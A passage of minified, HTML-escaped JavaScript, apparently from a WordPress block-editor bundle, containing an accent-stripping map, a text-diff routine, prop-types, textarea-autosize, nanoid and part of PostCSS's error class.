quot;,\u00E8:&quot;e&quot;,\u00E9:&quot;e&quot;,\u00EA:&quot;e&quot;,\u00EB:&quot;e&quot;,\u1EBF:&quot;e&quot;,\u1E17:&quot;e&quot;,\u1EC1:&quot;e&quot;,\u1E15:&quot;e&quot;,\u1E1D:&quot;e&quot;,\u0207:&quot;e&quot;,\u1EBB:&quot;e&quot;,\u1EBD:&quot;e&quot;,\u1EB9:&quot;e&quot;,\u1EC3:&quot;e&quot;,\u1EC5:&quot;e&quot;,\u1EC7:&quot;e&quot;,\u00EC:&quot;i&quot;,\u00ED:&quot;i&quot;,\u00EE:&quot;i&quot;,\u00EF:&quot;i&quot;,\u1E2F:&quot;i&quot;,\u020B:&quot;i&quot;,\u1EC9:&quot;i&quot;,\u1ECB:&quot;i&quot;,\u00F0:&quot;d&quot;,\u00F1:&quot;n&quot;,\u00F2:&quot;o&quot;,\u00F3:&quot;o&quot;,\u00F4:&quot;o&quot;,\u00F5:&quot;o&quot;,\u00F6:&quot;o&quot;,\u00F8:&quot;o&quot;,\u1ED1:&quot;o&quot;,\u1E4D:&quot;o&quot;,\u1E53:&quot;o&quot;,\u020F:&quot;o&quot;,\u1ECF:&quot;o&quot;,\u1ECD:&quot;o&quot;,\u1ED5:&quot;o&quot;,\u1ED7:&quot;o&quot;,\u1ED9:&quot;o&quot;,\u1EDD:&quot;o&quot;,\u1EDF:&quot;o&quot;,\u1EE1:&quot;o&quot;,\u1EDB:&quot;o&quot;,\u1EE3:&quot;o&quot;,\u00F9:&quot;u&quot;,\u00FA:&quot;u&quot;,\u00FB:&quot;u&quot;,\u00FC:&quot;u&quot;,\u1EE7:&quot;u&quot;,\u1EE5:&quot;u&quot;,\u1EED:&quot;u&quot;,\u1EEF:&quot;u&quot;,\u1EF1:&quot;u&quot;,\u00FD:&quot;y&quot;,\u00FF:&quot;y&quot;,\u0100:&quot;A&quot;,\u0101:&quot;a&quot;,\u0102:&quot;A&quot;,\u0103:&quot;a&quot;,\u0104:&quot;A&quot;,\u0105:&quot;a&quot;,\u0106:&quot;C&quot;,\u0107:&quot;c&quot;,\u0108:&quot;C&quot;,\u0109:&quot;c&quot;,\u010A:&quot;C&quot;,\u010B:&quot;c&quot;,\u010C:&quot;C&quot;,\u010D:&quot;c&quot;,C\u0306:&quot;C&quot;,c\u0306:&quot;c&quot;,\u010E:&quot;D&quot;,\u010F:&quot;d&quot;,\u0110:&quot;D&quot;,\u0111:&quot;d&quot;,\u0112:&quot;E&quot;,\u0113:&quot;e&quot;,\u0114:&quot;E&quot;,\u0115:&quot;e&quot;,\u0116:&quot;E&quot;,\u0117:&quot;e&quot;,\u0118:&quot;E&quot;,\u0119:&quot;e&quot;,\u011A:&quot;E&quot;,\u011B:&quot;e&quot;,\u011C:&quot;G&quot;,\u01F4:&quot;G&quot;,\u011D:&quot;g&quot;,\u01F5:&quot;g&quot;,\u011E:&quot;G&quot;,\u011F:&quot;g&quot;,\u0120:&quot;G&quot;,\u0121:&quot;g&quot;,\u0122:&quot;G&quot;,\u0123:&quot;g&quot;,\u0124:&quot;H&quot;,\u0125:&quot;h&quot;,\u0126:&quot;H&quot;,\u0127:&quot;h&quot;,\u1E2A:&quot;H&quot;,\u1E2B:&quot;h&quot;,\u0128:&quot;I&quot;,\u0129:&quot;i&quot;,\u012A:&quot;I&quot;,\u012B:&quot;i&quot;,\u012C:&quot;I&quot;,\u012D:&quot;i&quot;,\u012E:&quot;I&quot;,\u012F:&quot;i&quot;,\u0130:&quot;I&quot;,\u0131:&quot;i&quot;,\u0132:&quot;IJ&quot;,\u0133:&quot;ij&quot;,\u0134:&quot;J&quot;,\u0135:&quot;j&quot;,\u0136:&quot;K&quot;,\u0137:&quot;k&quot;,\u1E30:&quot;K&quot;,\u1E31:&quot;k&quot;,K\u0306:&quot;K&quot;,k\u0306:&quot;k&quot;,\u0139:&quot;L&quot;,\u013A:&quot;l&quot;,\u013B:&quot;L&quot;,\u013C:&quot;l&quot;,\u013D:&quot;L&quot;,\u013E:&quot;l&quot;,\u013F:&quot;L&quot;,\u0140:&quot;l&quot;,\u0141:&quot;l&quot;,\u0142:&quot;l&quot;,\u1E3E:&quot;M&quot;,\u1E3F:&quot;m&quot;,M\u0306:&quot;M&quot;,m\u0306:&quot;m&quot;,\u0143:&quot;N&quot;,\u0144:&quot;n&quot;,\u0145:&quot;N&quot;,\u0146:&quot;n&quot;,\u0147:&quot;N&quot;,\u0148:&quot;n&quot;,\u0149:&quot;n&quot;,N\u0306:&quot;N&quot;,n\u0306:&quot;n&quot;,\u014C:&quot;O&quot;,\u014D:&quot;o&quot;,\u014E:&quot;O&quot;,\u014F:&quot;o&quot;,\u0150:&quot;O&quot;,\u0151:&quot;o&quot;,\u0152:&quot;OE&quot;,\u0153:&quot;oe&quot;,P\u0306:&quot;P&quot;,p\u0306:&quot;p&quot;,\u0154:&quot;R&quot;,\u0155:&quot;r&quot;,\u0156:&quot;R&quot;,\u0157:&quot;r&quot;,\u0158:&quot;R&quot;,\u0159:&quot;r&quot;,R\u0306:&quot;R&quot;,r\u0306:&quot;r&quot;,\u0212:&quot;R&quot;,\u0213:&quot;r&quot;,\u015A:&quot;S&quot;,\u015B:&quot;s&quot;,\u015C:&quot;S&quot;,\u015D:&quot;s&quot;,\u015E:&quot;S&quot;,\u0218:&quot;S&quot;,\u0219:&quot;s&quot;,\u015F:&quot;s&quot;,\u0160:&quot;S&quot;,\u0161:&quot;s&quot;,\u0162:&quot;T&quot;,\u0163:&quot;t&quot;,\u021B:&quot;t&quot;,\u021A:&quot;T&quot;,\u0164:&quot;T&quot;,\u0165:&quot;t&quot;,\u0166:&quot;T&quot;,\u0167:&quot;t&quot;,T\u0306:&quot;T&quot;,t\u0306:&quot;t&quot;,\u0168:&quot;U&quot;,\u0169:&quot;u&quot;,\u016A:&quot;U&quot;,\u016B:&quot;u&quot;,\u016C:&quot;U&quot;,\u016D:&quot;u&quot;,\u016E:&quot;U&quot;,\u016F:&quot;u&quot;,\u0170:&quot;U&quot;,\u0171:&quot;u&quot;,\u0172:&quot;U&quot;,\u0173:&quot;u&quot;,\u0216:&quot;U&quot;,\u0217:&quot;u&quot;,V\u0306:&quot;V&quot;,v\u0306:&quot;v&quot;,\u0174:&quot;W&quot;,\u0175:&quot;w&quot;,\u1E82:&quot;W&quot;,\u1E83:&quot;w&quot;,X\u0306:&quot;X&quot;,x\u0306:&quot;x&quot;,\u0176:&quot;Y&quot;,\u0177:&quot;y&quot;,\u0178:&quot;Y&quot;,Y\u0306:&quot;Y&quot;,y\u0306:&quot;y&quot;,\u0179:&quot;Z&quot;,\u017A:&quot;z&quot;,\u017B:&quot;Z&quot;,\u017C:&quot;z&quot;,\u017D:&quot;Z&quot;,\u017E:&quot;z&quot;,\u017F:&quot;s&quot;,\u0192:&quot;f&quot;,\u01A0:&quot;O&quot;,\u01A1:&quot;o&quot;,\u01AF:&quot;U&quot;,\u01B0:&quot;u&quot;,\u01CD:&quot;A&quot;,\u01CE:&quot;a&quot;,\u01CF:&quot;I&quot;,\u01D0:&quot;i&quot;,\u01D1:&quot;O&quot;,\u01D2:&quot;o&quot;,\u01D3:&quot;U&quot;,\u01D4:&quot;u&quot;,\u01D5:&quot;U&quot;,\u01D6:&quot;u&quot;,\u01D7:&quot;U&quot;,\u01D8:&quot;u&quot;,\u01D9:&quot;U&quot;,\u01DA:&quot;u&quot;,\u01DB:&quot;U&quot;,\u01DC:&quot;u&quot;,\u1EE8:&quot;U&quot;,\u1EE9:&quot;u&quot;,\u1E78:&quot;U&quot;,\u1E79:&quot;u&quot;,\u01FA:&quot;A&quot;,\u01FB:&quot;a&quot;,\u01FC:&quot;AE&quot;,\u01FD:&quot;ae&quot;,\u01FE:&quot;O&quot;,\u01FF:&quot;o&quot;,\u00DE:&quot;TH&quot;,\u00FE:&quot;th&quot;,\u1E54:&quot;P&quot;,\u1E55:&quot;p&quot;,\u1E64:&quot;S&quot;,\u1E65:&quot;s&quot;,X\u0301:&quot;X&quot;,x\u0301:&quot;x&quot;,\u0403:&quot;\u0413&quot;,\u0453:&quot;\u0433&quot;,\u040C:&quot;\u041A&quot;,\u045C:&quot;\u043A&quot;,A\u030B:&quot;A&quot;,a\u030B:&quot;a&quot;,E\u030B:&quot;E&quot;,e\u030B:&quot;e&quot;,I\u030B:&quot;I&quot;,i\u030B:&quot;i&quot;,\u01F8:&quot;N&quot;,\u01F9:&quot;n&quot;,\u1ED2:&quot;O&quot;,\u1ED3:&quot;o&quot;,\u1E50:&quot;O&quot;,\u1E51:&quot;o&quot;,\u1EEA:&quot;U&quot;,\u1EEB:&quot;u&quot;,\u1E80:&quot;W&quot;,\u1E81:&quot;w&quot;,\u1EF2:&quot;Y&quot;,\u1EF3:&quot;y&quot;,\u0200:&quot;A&quot;,\u0201:&quot;a&quot;,\u0204:&quot;E&quot;,\u0205:&quot;e&quot;,\u0208:&quot;I&quot;,\u0209:&quot;i&quot;,\u020C:&quot;O&quot;,\u020D:&quot;o&quot;,\u0210:&quot;R&quot;,\u0211:&quot;r&quot;,\u0214:&quot;U&quot;,\u0215:&quot;u&quot;,B\u030C:&quot;B&quot;,b\u030C:&quot;b&quot;,\u010C\u0323:&quot;C&quot;,\u010D\u0323:&quot;c&quot;,\u00CA\u030C:&quot;E&quot;,\u00EA\u030C:&quot;e&quot;,F\u030C:&quot;F&quot;,f\u030C:&quot;f&quot;,\u01E6:&quot;G&quot;,\u01E7:&quot;g&quot;,\u021E:&quot;H&quot;,\u021F:&quot;h&quot;,J\u030C:&quot;J&quot;,\u01F0:&quot;j&quot;,\u01E8:&quot;K&quot;,\u01E9:&quot;k&quot;,M\u030C:&quot;M&quot;,m\u030C:&quot;m&quot;,P\u030C:&quot;P&quot;,p\u030C:&quot;p&quot;,Q\u030C:&quot;Q&quot;,q\u030C:&quot;q&quot;,\u0158\u0329:&quot;R&quot;,\u0159\u0329:&quot;r&quot;,\u1E66:&quot;S&quot;,\u1E67:&quot;s&quot;,V\u030C:&quot;V&quot;,v\u030C:&quot;v&quot;,W\u030C:&quot;W&quot;,w\u030C:&quot;w&quot;,X\u030C:&quot;X&quot;,x\u030C:&quot;x&quot;,Y\u030C:&quot;Y&quot;,y\u030C:&quot;y&quot;,A\u0327:&quot;A&quot;,a\u0327:&quot;a&quot;,B\u0327:&quot;B&quot;,b\u0327:&quot;b&quot;,\u1E10:&quot;D&quot;,\u1E11:&quot;d&quot;,\u0228:&quot;E&quot;,\u0229:&quot;e&quot;,\u0190\u0327:&quot;E&quot;,\u025B\u0327:&quot;e&quot;,\u1E28:&quot;H&quot;,\u1E29:&quot;h&quot;,I\u0327:&quot;I&quot;,i\u0327:&quot;i&quot;,\u0197\u0327:&quot;I&quot;,\u0268\u0327:&quot;i&quot;,M\u0327:&quot;M&quot;,m\u0327:&quot;m&quot;,O\u0327:&quot;O&quot;,o\u0327:&quot;o&quot;,Q\u0327:&quot;Q&quot;,q\u0327:&quot;q&quot;,U\u0327:&quot;U&quot;,u\u0327:&quot;u&quot;,X\u0327:&quot;X&quot;,x\u0327:&quot;x&quot;,Z\u0327:&quot;Z&quot;,z\u0327:&quot;z&quot;,\u0439:&quot;\u0438&quot;,\u0419:&quot;\u0418&quot;,\u0451:&quot;\u0435&quot;,\u0401:&quot;\u0415&quot;},BU=Object.keys(CU).join(&quot;|&quot;),ave=new RegExp(BU,&quot;g&quot;),lve=new RegExp(BU,&quot;&quot;);function cve(e){return CU[e]}var EU=function(e){return e.replace(ave,cve)},uve=function(e){return!!e.match(lve)};Kw.exports=EU;Kw.exports.has=uve;Kw.exports.remove=EU});var zU=oe((wFe,FU)=&gt;{FU.exports=window.wp.apiFetch});var SM=oe((CFe,jU)=&gt;{jU.exports=window.wp.htmlEntities});var Uv=oe((XFe,aH)=&gt;{aH.exports=window.wp.styleEngine});var it=oe((Z4e,PH)=&gt;{PH.exports=window.wp.keycodes});var Fe=oe((hze,GH)=&gt;{GH.exports=window.wp.dom});var $H=oe(NM=&gt;{&quot;use strict&quot;;Object.defineProperty(NM,&quot;__esModule&quot;,{value:!0});NM.default=WH;function WH(){}WH.prototype={diff:function(t,o){var r=arguments.length&gt;2&amp;&amp;arguments[2]!==void 0?arguments[2]:{},n=r.callback;typeof r==&quot;function&quot;&amp;&amp;(n=r,r={}),this.options=r;var i=this;function s(g){return n?(setTimeout(function(){n(void 0,g)},0),!0):g}t=this.castInput(t),o=this.castInput(o),t=this.removeEmpty(this.tokenize(t)),o=this.removeEmpty(this.tokenize(o));var a=o.length,c=t.length,u=1,d=a+c,f=[{newPos:-1,components:[]}],m=this.extractCommon(f[0],o,t,0);if(f[0].newPos+1&gt;=a&amp;&amp;m+1&gt;=c)return s([{value:this.join(o),count:o.length}]);function h(){for(var g=-1*u;g&lt;=u;g+=2){var b=void 0,v=f[g-1],k=f[g+1],y=(k?k.newPos:0)-g;v&amp;&amp;(f[g-1]=void 0);var S=v&amp;&amp;v.newPos+1&lt;a,x=k&amp;&amp;0&lt;=y&amp;&amp;y&lt;c;if(!S&amp;&amp;!x){f[g]=void 0;continue}if(!S||x&amp;&amp;v.newPos&lt;k.newPos?(b=rye(k),i.pushComponent(b.components,void 0,!0)):(b=v,b.newPos++,i.pushComponent(b.components,!0,void 0)),y=i.extractCommon(b,o,t,g),b.newPos+1&gt;=a&amp;&amp;y+1&gt;=c)return s(oye(i,b.components,o,t,i.useLongestToken));f[g]=b}u++}if(n)(function g(){setTimeout(function(){if(u&gt;d)return n();h()||g()},0)})();else for(;u&lt;=d;){var p=h();if(p)return p}},pushComponent:function(t,o,r){var n=t[t.length-1];n&amp;&amp;n.added===o&amp;&amp;n.removed===r?t[t.length-1]={count:n.count+1,added:o,removed:r}:t.push({count:1,added:o,removed:r})},extractCommon:function(t,o,r,n){for(var i=o.length,s=r.length,a=t.newPos,c=a-n,u=0;a+1&lt;i&amp;&amp;c+1&lt;s&amp;&amp;this.equals(o[a+1],r[c+1]);)a++,c++,u++;return u&amp;&amp;t.components.push({count:u}),t.newPos=a,c},equals:function(t,o){return this.options.comparator?this.options.comparator(t,o):t===o||this.options.ignoreCase&amp;&amp;t.toLowerCase()===o.toLowerCase()},removeEmpty:function(t){for(var o=[],r=0;r&lt;t.length;r++)t[r]&amp;&amp;o.push(t[r]);return o},castInput:function(t){return t},tokenize:function(t){return t.split(&quot;&quot;)},join:function(t){return t.join(&quot;&quot;)}};function oye(e,t,o,r,n){for(var i=0,s=t.length,a=0,c=0;i&lt;s;i++){var u=t[i];if(u.removed){if(u.value=e.join(r.slice(c,c+u.count)),c+=u.count,i&amp;&amp;t[i-1].added){var f=t[i-1];t[i-1]=t[i],t[i]=f}}else{if(!u.added&amp;&amp;n){var d=o.slice(a,a+u.count);d=d.map(function(h,p){var g=r[c+p];return g.length&gt;h.length?g:h}),u.value=e.join(d)}else u.value=e.join(o.slice(a,a+u.count));a+=u.count,u.added||(c+=u.count)}}var m=t[s-1];return s&gt;1&amp;&amp;typeof m.value==&quot;string&quot;&amp;&amp;(m.added||m.removed)&amp;&amp;e.equals(&quot;&quot;,m.value)&amp;&amp;(t[s-2].value+=m.value,t.pop()),t}function rye(e){return{newPos:e.newPos,components:e.components.slice(0)}}});var YH=oe(Zv=&gt;{&quot;use strict&quot;;Object.defineProperty(Zv,&quot;__esModule&quot;,{value:!0});Zv.diffChars=sye;Zv.characterDiff=void 0;var nye=iye($H());function iye(e){return e&amp;&amp;e.__esModule?e:{default:e}}var KH=new nye.default;Zv.characterDiff=KH;function sye(e,t,o){return KH.diff(e,t,o)}});var jr=oe((Pze,l8)=&gt;{l8.exports=window.React});var u8=oe((Rze,c8)=&gt;{&quot;use strict&quot;;var uye=&quot;SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED&quot;;c8.exports=uye});var p8=oe((Oze,m8)=&gt;{&quot;use strict&quot;;var dye=u8();function d8(){}function f8(){}f8.resetWarningCache=d8;m8.exports=function(){function e(r,n,i,s,a,c){if(c!==dye){var u=new Error(&quot;Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types&quot;);throw u.name=&quot;Invariant Violation&quot;,u}}e.isRequired=e;function t(){return e}var o={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:f8,resetWarningCache:d8};return o.PropTypes=o,o}});var g8=oe((Nze,h8)=&gt;{h8.exports=p8()();var Aze,Lze});var k8=oe((_C,b8)=&gt;{(function(e,t){if(typeof define==&quot;function&quot;&amp;&amp;define.amd)define([&quot;module&quot;,&quot;exports&quot;],t);else if(typeof _C&lt;&quot;u&quot;)t(b8,_C);else{var o={exports:{}};t(o,o.exports),e.autosize=o.exports}})(_C,function(e,t){&quot;use strict&quot;;var o=typeof Map==&quot;function&quot;?new Map:(function(){var c=[],u=[];return{has:function(f){return c.indexOf(f)&gt;-1},get:function(f){return u[c.indexOf(f)]},set:function(f,m){c.indexOf(f)===-1&amp;&amp;(c.push(f),u.push(m))},delete:function(f){var m=c.indexOf(f);m&gt;-1&amp;&amp;(c.splice(m,1),u.splice(m,1))}}})(),r=function(u){return new Event(u,{bubbles:!0})};try{new Event(&quot;test&quot;)}catch{r=function(d){var f=document.createEvent(&quot;Event&quot;);return f.initEvent(d,!0,!1),f}}function n(c){if(!c||!c.nodeName||c.nodeName!==&quot;TEXTAREA&quot;||o.has(c))return;var u=null,d=null,f=null;function m(){var y=window.getComputedStyle(c,null);y.resize===&quot;vertical&quot;?c.style.resize=&quot;none&quot;:y.resize===&quot;both&quot;&amp;&amp;(c.style.resize=&quot;horizontal&quot;),y.boxSizing===&quot;content-box&quot;?u=-(parseFloat(y.paddingTop)+parseFloat(y.paddingBottom)):u=parseFloat(y.borderTopWidth)+parseFloat(y.borderBottomWidth),isNaN(u)&amp;&amp;(u=0),b()}function h(y){{var S=c.style.width;c.style.width=&quot;0px&quot;,c.offsetWidth,c.style.width=S}c.style.overflowY=y}function p(y){for(var S=[];y&amp;&amp;y.parentNode&amp;&amp;y.parentNode instanceof Element;)y.parentNode.scrollTop&amp;&amp;S.push({node:y.parentNode,scrollTop:y.parentNode.scrollTop}),y=y.parentNode;return S}function g(){if(c.scrollHeight!==0){var y=p(c),S=document.documentElement&amp;&amp;document.documentElement.scrollTop;c.style.height=&quot;&quot;,c.style.height=c.scrollHeight+u+&quot;px&quot;,d=c.clientWidth,y.forEach(function(x){x.node.scrollTop=x.scrollTop}),S&amp;&amp;(document.documentElement.scrollTop=S)}}function b(){g();var y=Math.round(parseFloat(c.style.height)),S=window.getComputedStyle(c,null),x=S.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(S.height)):c.offsetHeight;if(x&lt;y?S.overflowY===&quot;hidden&quot;&amp;&amp;(h(&quot;scroll&quot;),g(),x=S.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(window.getComputedStyle(c,null).height)):c.offsetHeight):S.overflowY!==&quot;hidden&quot;&amp;&amp;(h(&quot;hidden&quot;),g(),x=S.boxSizing===&quot;content-box&quot;?Math.round(parseFloat(window.getComputedStyle(c,null).height)):c.offsetHeight),f!==x){f=x;var C=r(&quot;autosize:resized&quot;);try{c.dispatchEvent(C)}catch{}}}var v=function(){c.clientWidth!==d&amp;&amp;b()},k=function(y){window.removeEventListener(&quot;resize&quot;,v,!1),c.removeEventListener(&quot;input&quot;,b,!1),c.removeEventListener(&quot;keyup&quot;,b,!1),c.removeEventListener(&quot;autosize:destroy&quot;,k,!1),c.removeEventListener(&quot;autosize:update&quot;,b,!1),Object.keys(y).forEach(function(S){c.style[S]=y[S]}),o.delete(c)}.bind(c,{height:c.style.height,resize:c.style.resize,overflowY:c.style.overflowY,overflowX:c.style.overflowX,wordWrap:c.style.wordWrap});c.addEventListener(&quot;autosize:destroy&quot;,k,!1),&quot;onpropertychange&quot;in c&amp;&amp;&quot;oninput&quot;in c&amp;&amp;c.addEventListener(&quot;keyup&quot;,b,!1),window.addEventListener(&quot;resize&quot;,v,!1),c.addEventListener(&quot;input&quot;,b,!1),c.addEventListener(&quot;autosize:update&quot;,b,!1),c.style.overflowX=&quot;hidden&quot;,c.style.wordWrap=&quot;break-word&quot;,o.set(c,{destroy:k,update:b}),m()}function i(c){var u=o.get(c);u&amp;&amp;u.destroy()}function s(c){var u=o.get(c);u&amp;&amp;u.update()}var a=null;typeof window&gt;&quot;u&quot;||typeof window.getComputedStyle!=&quot;function&quot;?(a=function(u){return u},a.destroy=function(c){return c},a.update=function(c){return c}):(a=function(u,d){return u&amp;&amp;Array.prototype.forEach.call(u.length?u:[u],function(f){return n(f,d)}),u},a.destroy=function(c){return c&amp;&amp;Array.prototype.forEach.call(c.length?c:[c],i),c},a.update=function(c){return c&amp;&amp;Array.prototype.forEach.call(c.length?c:[c],s),c}),t.default=a,e.exports=t.default})});var y8=oe((Mze,v8)=&gt;{var fye=function(e,t,o){return o=window.getComputedStyle,(o?o(e):e.currentStyle)[t.replace(/-(\w)/gi,function(r,n){return n.toUpperCase()})]};v8.exports=fye});var _8=oe((Dze,S8)=&gt;{var DM=y8();function mye(e){var t=DM(e,&quot;line-height&quot;),o=parseFloat(t,10);if(t===o+&quot;&quot;){var r=e.style.lineHeight;e.style.lineHeight=t+&quot;em&quot;,t=DM(e,&quot;line-height&quot;),o=parseFloat(t,10),r?e.style.lineHeight=r:delete e.style.lineHeight}if(t.indexOf(&quot;pt&quot;)!==-1?(o*=4,o/=3):t.indexOf(&quot;mm&quot;)!==-1?(o*=96,o/=25.4):t.indexOf(&quot;cm&quot;)!==-1?(o*=96,o/=2.54):t.indexOf(&quot;in&quot;)!==-1?o*=96:t.indexOf(&quot;pc&quot;)!==-1&amp;&amp;(o*=16),o=Math.round(o),t===&quot;normal&quot;){var n=e.nodeName,i=document.createElement(n);i.innerHTML=&quot;&amp;nbsp;&quot;,n.toUpperCase()===&quot;TEXTAREA&quot;&amp;&amp;i.setAttribute(&quot;rows&quot;,&quot;1&quot;);var s=DM(e,&quot;font-size&quot;);i.style.fontSize=s,i.style.padding=&quot;0px&quot;,i.style.border=&quot;0px&quot;;var a=document.body;a.appendChild(i);var c=i.offsetHeight;o=c,a.removeChild(i)}return o}S8.exports=mye});var w8=oe(Pl=&gt;{&quot;use strict&quot;;var pye=Pl&amp;&amp;Pl.__extends||(function(){var e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&amp;&amp;function(t,o){t.__proto__=o}||function(t,o){for(var r in o)o.hasOwnProperty(r)&amp;&amp;(t[r]=o[r])};return function(t,o){e(t,o);function r(){this.constructor=t}t.prototype=o===null?Object.create(o):(r.prototype=o.prototype,new r)}})(),VM=Pl&amp;&amp;Pl.__assign||Object.assign||function(e){for(var t,o=1,r=arguments.length;o&lt;r;o++){t=arguments[o];for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&amp;&amp;(e[n]=t[n])}return e},hye=Pl&amp;&amp;Pl.__rest||function(e,t){var o={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&amp;&amp;t.indexOf(r)&lt;0&amp;&amp;(o[r]=e[r]);if(e!=null&amp;&amp;typeof Object.getOwnPropertySymbols==&quot;function&quot;)for(var n=0,r=Object.getOwnPropertySymbols(e);n&lt;r.length;n++)t.indexOf(r[n])&lt;0&amp;&amp;(o[r[n]]=e[r[n]]);return o};Pl.__esModule=!0;var wC=jr(),Xv=g8(),xC=k8(),gye=_8(),bye=gye,x8=&quot;autosize:resized&quot;,kye=(function(e){pye(t,e);function t(){var o=e!==null&amp;&amp;e.apply(this,arguments)||this;return o.state={lineHeight:null},o.textarea=null,o.onResize=function(r){o.props.onResize&amp;&amp;o.props.onResize(r)},o.updateLineHeight=function(){o.textarea&amp;&amp;o.setState({lineHeight:bye(o.textarea)})},o.onChange=function(r){var n=o.props.onChange;o.currentValue=r.currentTarget.value,n&amp;&amp;n(r)},o}return t.prototype.componentDidMount=function(){var o=this,r=this.props,n=r.maxRows,i=r.async;typeof n==&quot;number&quot;&amp;&amp;this.updateLineHeight(),typeof n==&quot;number&quot;||i?setTimeout(function(){return o.textarea&amp;&amp;xC(o.textarea)}):this.textarea&amp;&amp;xC(this.textarea),this.textarea&amp;&amp;this.textarea.addEventListener(x8,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&amp;&amp;(this.textarea.removeEventListener(x8,this.onResize),xC.destroy(this.textarea))},t.prototype.render=function(){var o=this,r=this,n=r.props,i=n.onResize,s=n.maxRows,a=n.onChange,c=n.style,u=n.innerRef,d=n.children,f=hye(n,[&quot;onResize&quot;,&quot;maxRows&quot;,&quot;onChange&quot;,&quot;style&quot;,&quot;innerRef&quot;,&quot;children&quot;]),m=r.state.lineHeight,h=s&amp;&amp;m?m*s:null;return wC.createElement(&quot;textarea&quot;,VM({},f,{onChange:this.onChange,style:h?VM({},c,{maxHeight:h}):c,ref:function(p){o.textarea=p,typeof o.props.innerRef==&quot;function&quot;?o.props.innerRef(p):o.props.innerRef&amp;&amp;(o.props.innerRef.current=p)}}),d)},t.prototype.componentDidUpdate=function(){this.textarea&amp;&amp;xC.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:Xv.number,maxRows:Xv.number,onResize:Xv.func,innerRef:Xv.any,async:Xv.bool},t})(wC.Component);Pl.TextareaAutosize=wC.forwardRef(function(e,t){return wC.createElement(kye,VM({},e,{innerRef:t}))})});var FM=oe((Fze,C8)=&gt;{&quot;use strict&quot;;var vye=w8();C8.exports=vye.TextareaAutosize});var Qv=oe((Uze,I8)=&gt;{I8.exports=window.wp.warning});var B7=oe((s6e,C7)=&gt;{C7.exports=window.ReactDOM});var Is=oe((L6e,t9)=&gt;{t9.exports=window.wp.keyboardShortcuts});var _9=oe((Yje,S9)=&gt;{S9.exports=window.wp.uploadMedia});var R1=oe(()=&gt;{});var O1=oe(()=&gt;{});var UD=oe(()=&gt;{});var AG=oe((_He,OG)=&gt;{var E_e=&quot;useandom-26T198340PX75pxJACKVERYMINDBUSHWOLF_GQZbfghjklqvwyzrict&quot;,T_e=(e,t=21)=&gt;(o=t)=&gt;{let r=&quot;&quot;,n=o|0;for(;n--;)r+=e[Math.random()*e.length|0];return r},I_e=(e=21)=&gt;{let t=&quot;&quot;,o=e|0;for(;o--;)t+=E_e[Math.random()*64|0];return t};OG.exports={nanoid:I_e,customAlphabet:T_e}});var HD=oe(()=&gt;{});var NG=oe((CHe,GD)=&gt;{var Ce=String,LG=function(){return{isColorSupported:!1,reset:Ce,bold:Ce,dim:Ce,italic:Ce,underline:Ce,inverse:Ce,hidden:Ce,strikethrough:Ce,black:Ce,red:Ce,green:Ce,yellow:Ce,blue:Ce,magenta:Ce,cyan:Ce,white:Ce,gray:Ce,bgBlack:Ce,bgRed:Ce,bgGreen:Ce,bgYellow:Ce,bgBlue:Ce,bgMagenta:Ce,bgCyan:Ce,bgWhite:Ce,blackBright:Ce,redBright:Ce,greenBright:Ce,yellowBright:Ce,blueBright:Ce,magentaBright:Ce,cyanBright:Ce,whiteBright:Ce,bgBlackBright:Ce,bgRedBright:Ce,bgGreenBright:Ce,bgYellowBright:Ce,bgBlueBright:Ce,bgMagentaBright:Ce,bgCyanBright:Ce,bgWhiteBright:Ce}};GD.exports=LG();GD.exports.createColors=LG});var A1=oe((BHe,VG)=&gt;{&quot;use strict&quot;;var MG=NG(),DG=HD(),By=class e extends Error{constructor(t,o,r,n,i,s){super(t),this.name=&quot;CssSyntaxError&quot;,this.reason=t,i&amp;&amp;(this.file=i),n&amp;&amp;(this.source=n),s&amp;&amp;(this.plugin=s),typeof o&lt;&quot;u&quot;&amp;&amp;typeof r&lt;&quot;u&quot;&amp;&amp;(typeof o==&quot;number&quot;?(this.line=o,this.column=r):(this.line=o.line,this.column=o.column,this.endLine=r.line,this.endColumn=r.column)),this.setMessage(),Error.captureStackTrace&amp;&amp;Error.captureStackTrace(this,e)}setMessage(){this.message=this.plugin?this.plugin+&quot;: &quot;:&quot;&quot;,this.message+=this.file?this.file:&quot;&lt;css input&gt;&quot;,typeof this.line&lt;&quot;u&quot;&amp;&amp;(this.message+=&quot;:&quot;+this.line+&quot;:&quot;+this.column),this.message+=&quot;: &quot;+this.reason}showSourceCode(t){if(!this.source)return&quot;&quot;;let o=this.source;t==null&amp;&amp;(t=MG.isColorSupported),DG&amp;&amp;t&amp;&amp;(o=DG(o));let r=o.split(/\r?\n/),n=Math.max(this.line-3,0),i=Math.min(this.line+2,r.length),s=String(i).length,a,c;if(t){let{bold:u,gray:d,red:f}=MG.createColors(!0);a=m=&gt;u(f(m)),c=m=&gt;d(m)}else a=c=u=&gt;u;return r.slice(n,i).map((u,d)=&gt;{let f=n+1+d,m=&quot; &quot;+(&quot; &quot;+f).slice(-s)+&quot; | &quot;;if(f===this.line){let h=c(m.replace(/\d/g,&quot; &quot;))+u.slice(0,this.column-1).replace(/[^\t]/g,&quot; &quot;);return a(&quot;&gt;&quot;)+c(m)+u+`
 `+h+a(&quot;^&quot;)}return&quot; &quot;+c(m)+u}).join(`
`)}toString(){let t=this.showSourceCode();return t&amp;&amp;(t=`

`+t+`
